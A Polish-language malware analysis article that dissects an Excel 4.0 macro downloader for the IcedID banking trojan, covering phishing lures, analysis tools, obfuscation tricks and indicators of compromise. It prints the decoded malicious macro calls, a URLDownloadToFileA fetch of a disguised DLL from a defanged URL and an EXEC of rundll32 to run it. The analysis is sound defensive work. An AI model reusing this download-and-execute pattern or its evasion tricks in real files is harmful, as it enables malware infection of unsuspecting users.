Analiza złośliwego pliku Excel z makrami 4.0 – na przykładzie downloadera IcedID

data aktualizacji

Dokumenty pakietu Office są jedną z głównych metod infekcji i dystrybucji złośliwego oprogramowania. Cyberprzestępcy najczęściej wysyłają złośliwy plik Office bezpośrednio w wiadomości e-mail lub poprzez chmurę – udostępniając link do jego pobrania. W wiadomości podszywają się pod dostawcę usług bankowych, telekomunikacyjnych lub dystrybutora mediów czy nawet agencje rządowe. W 2020 roku zaobserwowaliśmy kampanie mailowe podszywające się między innymi pod Play, Orange, polskie uniwersytety, dostawców energii elektrycznej, a nawet WHO.

Treść wiadomości mailowej najczęściej ma na celu potwierdzić autentyczność pliku i zachęcić do jego niezwłocznego otwarcia. 

wiadomosc_mailowa_1

Czasami adres mailowy wskazuje na nieprawidłowego nadawcę, często jednak adres jest łudząco podobny do prawdziwego lub wygląda jak prawdziwy. 

wiadomosc_mailowa_2

wiadomosc_mailowa_3

Ta metoda jest szczególnie popularna wśród ataków na firmy, ze względu na mnogość otrzymywanych dokumentów. W takich przypadkach osoby odpowiedzialne za administrację często wykonują swoją pracę automatycznie, nie zwracając uwagi na adresata czy dodatkowe ostrzeżenia.

wiadomosc_mailowa_4

Najczęściej do dystrybucji złośliwego pliku Excel dochodzi bezpośrednio poprzez załącznik wiadomości email – często w tytule lub treści atakujący nawiązuje do wystawionej faktury.

wiadomosc_mailowa_5

Przesyłane pliki wykorzystywane są przede wszystkim jako pierwszy etap infekcji. Ich zadaniem jest pobranie  złośliwych plików z serwerów zdalnych, a następnie uruchomienie ich na komputerze ofiary.

W tym artykule przyjrzymy się plikowi Excel dystrybuującemu trojana IcedID –  biorącemu udział w kampanii na masową skalę, która dotknęła także polskich obywateli.

UWAGA!

Niniejszy artykuł przedstawia działanie złośliwego oprogramowania.

Osoby nie posiadające wiedzy na temat analizy malware nie powinny próbować naśladować przedstawionych czynności.

Zalecane jest izolowane środowisko (maszyna wirtualna) bez dostępu do Internetu.

Wygląd

W roku 2018 pojawiła się nowa metoda – zamiast popularnych wcześniej arkuszy z makrami VBA, zaczęto używać arkuszy posiadających archaiczne już makra w wersji: 4.0.

Należy pamiętać, aby nie kierować się rozszerzeniami – arkusze z makrami mogą mieć rozszerzenie "xls", jeśli zostaną zapisane w formacie "Excel 97 – 2003 Workbook".

W przypadku, który przedstawiamy plik ma rozszerzenie .xls

Po otwarciu dokumentu, pojawia się specjalnie spreparowana karta mająca skłonić użytkownika do włączenia edycji arkusza, a następnie do włączenia makr.

Standardem są formułki mówiące o: 

"Arkusz został zaszyfrowany, aby go odszyfrować, [...]".
"Aby wyświetlić dokument, musisz włączyć edytowanie i makra."
"Dokument jest zaszyfrowany."

grafika_6

Jednak nawet w przypadku ataków na polskich obywateli, wiadomości są po angielsku.

W tym przypadku dokument udaje, że jest zaszyfrowany przez "DocuSign Protect Service".

Popupy: edycja i makra

Jak zwykle w przypadku arkuszy z makrami, program Excel pyta nas najpierw o włączenie edycji pliku, a następnie o włączenie makr.

Działanie

W trakcie działania, makro wykonuje przekształcenia na zaszyfrowanych/spakowanych danych – w celu uniknięcia wykrycia przez silniki antywirusowe.

Następnie, złośliwy plik jest pobierany z Internetu i uruchamiany na stacji roboczej użytkownika.

Często złośliwe oprogramowanie jest pobierane w formie pliku DLL.

Najczęściej w tym celu jest użyty program o nazwie RunDLL – umożliwiający uruchamianie plików DLL.

Analiza statyczna

Pierwszym krokiem jest zdobycie informacji na temat makr znajdujących się w pliku.
W tym celu użyte zostaną narzędzia oleid oraz olevba z darmowego i otwartoźródłowego pakietu narzędzi oletools, dostępnych na stronie https://github.com/decalage2/oletools

grafika_7

 

Jak widzimy, plik jest faktycznie arkuszem programu Excel. Widzimy także, że arkusz nie posiada makr VBA.

grafika_8

grafika_9

Narzędzia olevba wskazuje nam, że plik posiada makro XLM 4.0.

W celu zwiększenia czytelności, pokazane zostały wyniki działania programu z pominięciem kodu makra i szczegółowych informacji na temat arkusza.

Następnie użyty został program XLMMacroDeobfuscator, także darmowy i otwartoźródłowy program dostępny na stroniehttps://github.com/DissectMalware/XLMMacroDeobfuscator

grafika_10

Program nie był w stanie znaleźć punktu początkowego – w takim wypadku należy znaleźć go ręcznie.

Metody znalezienia tego punktu zostaną omówione w następnej części artykułu, i dla tego pliku jest to Doc2!BS11

W tym przypadku niestety program nie jest w stanie przeprowadzić deobfuskacji.

Analiza dynamiczna

Zezwolenie na edycję

Aby przeanalizować plik, musimy włączyć edycję dokumentu – nie powinniśmy jednak włączać makr.

W języku angielskim jest to przycisk „Enable Content” – w języku polskim „Włącz zawartość”.

grafika_11

Makra VBA
Po włączeniu edycji, wciskamy ALT+F11.
Widzimy tam, że w arkuszu nie ma żadnych makr VBA.

grafika_12

Makra 4.0
Punkt startu

Musimy zacząć od znalezienia punktu startu makra.
Możemy go znaleźć klikając w combobox w lewym górnym rogu arkusza, lub w oknie Name Manager.
W tym przypadku jest to komórka BS11 w arkuszu Doc2.

grafika_13

grafika_14

Zaciemnianie kodu
Jak widać, komórka punktu startu jest pusta. 

 grafika_15

grafika_16

Jest to celowy zabieg – funkcje są wykonywane po kolei z góry do dołu aż do instrukcji HALT().
Komórki puste lub z nieprawidłowym kodem są po prostu pomijane.
Kod zaczyna się w komórce BS12.

grafika_17

Dodatkowo, wartości komórek nie są widoczne – jest to spowodowane zmienionym stylem komórek w arkuszach.

grafika_18

Aby ułatwić analizę, powinniśmy je zmienić – klikamy w trójkąt w prawym górnym rogu, w celu zaznaczenia wszystkich komórek (lub poprzez skrót CTRL+A), a następnie w CellStyles (Style komórki) zmieniamy styl na Normal (Normalny).

Powtarzamy to dla każdego arkusza.

Po tym zabiegu analiza staje się łatwiejsza. 

grafika_19

Dodatkowo, fragmenty kodu i łańcuchy znaków są rozmieszczone w różnych arkuszach, z reguły w miejscach na pierwszy rzut oka niewidocznych.

grafika_20

Jak widać, pionowy scrollbar jest mniejszy niż domyślnie w arkuszach.

grafika_21

Po zmianie stylu komórek widzimy także, że kolumna H ma nienaturalnie dużą szerokość.

grafika_22

Wyłączenie autostartu makra

Aby rozpocząć analizę dynamiczna, musimy wyłączyć automatyczne uruchamianie makr 4.0.

Otwieramy Name Manager (Menedżer Nazw) i usuwamy wszystkie wpisy – w tym przypadku jest tylko jeden.

Analiza dynamiczna

Aby rozpocząć analizę dynamiczną, klikamy PPM na pole BS11, i z menu kontekstowego wybieramy polecenie Run… (Uruchom…). Pojawi nam się okno Macro.

grafika_23

Następnie wybieramy opcję Step Into (Wkrocz).

grafika_24

Klikamy Evaluate (Szacuj)  do momentu, aż zobaczymy "ciekawe" dane – np. wywołania systemowe.

grafika_25

Widzimy, że po pewnym czasie, pojawia się całkowicie zdekodowane wywołanie systemowe:
CALL("URLMon","URLDownloadToFileA","JJCCBB",0,"hxxps://vts.us.com/ds/0104.gif",Doc1!$E$201,0,0)

To wywołanie pobiera na dysk złośliwe oprogramowanie z rozszerzeniem .gif – chociaż w rzeczywistości jest to plik DLL.
Ścieżka zapisu pliku jest pobierana z komórki Doc1!$E$201, którą w tym przypadku jest ..\flkftkm.thj.

W ten sam sposób pobierane są kolejne pliki.

grafika_26

W ten sposób sprawdzamy po kolei, co wykonuje skrypt, aż do instrukcji HALT().
W końcu dochodzimy do momentu, w którym plik jest uruchamiany – poprzez:
EXEC("rundll32 ..\flkftkm.thj,DllRegisterServer")
Ta komenda uruchamia program rundll32 z parametrami:
– ..\flkftkm.thj – ścieżką i nazwą pliku do uruchomienia,
– DllRegisterServer – nazwą funkcji do uruchomienia po załadowaniu pliku.

grafika_27

W tym przypadku system nie ma dostępu do Internetu – w związku z tym pokazują się błędy spowodowane brakiem plików.

grafika_28

Te wywołania są następnie powtarzane dla pozostałych plików.

grafika_29

W tym przypadku uruchamianym plikiem jest popularny trojan bankowy IcedID.

Inne metody nie opisane w tekście

Można znaleźć inne odmiany podobnych plików Excel wykorzystywanych do pobierania złośliwego oprogramowania. Arkusze te cały czas ewoluują dodając nowe metody utrudniające analizę – np. ukrywanie arkuszy (arkusze mogą być ukryte na 2 sposoby – hidden oraz very hidden), sprawdzanie rozdzielczości ekranu, wykrywanie, czy makro jest debugowane. W związku z tym należy być czujnym i uważać na to, co jest wykonywane przez skrypt.

Podsumowanie

Jeżeli nie musisz, nie włączaj edycji nieznanych sobie plików Office, a na pewno nie uruchamiaj “włączenia zawartości” (uruchomi makro). Staraj się też na bieżąco instalować aktualizacje zarówno swojej przeglądarki jak i systemu operacyjnego. Przede wszystkim weryfikuj jednak otrzymywane wiadomości – cyberprzestępcy wymyślają coraz to nowsze wektory ataku.

Dane techniczne:

filename:
document–665241764.xls
sha256:
67241ad58163c20ab219130474e735e792dfece91963367f073cef00ce44734e
IOC:
hxxps://vts.us.com/ds/0104.gif
hxxps://mundotecnologiasolar.com/ds/0104.gif
hxxps://accesslinksgroup.com/ds/0104.gif
hxxps://ponchokhana.com/ds/0104.gif
hxxps://comosairdoburaco.com.br/ds/0104.gif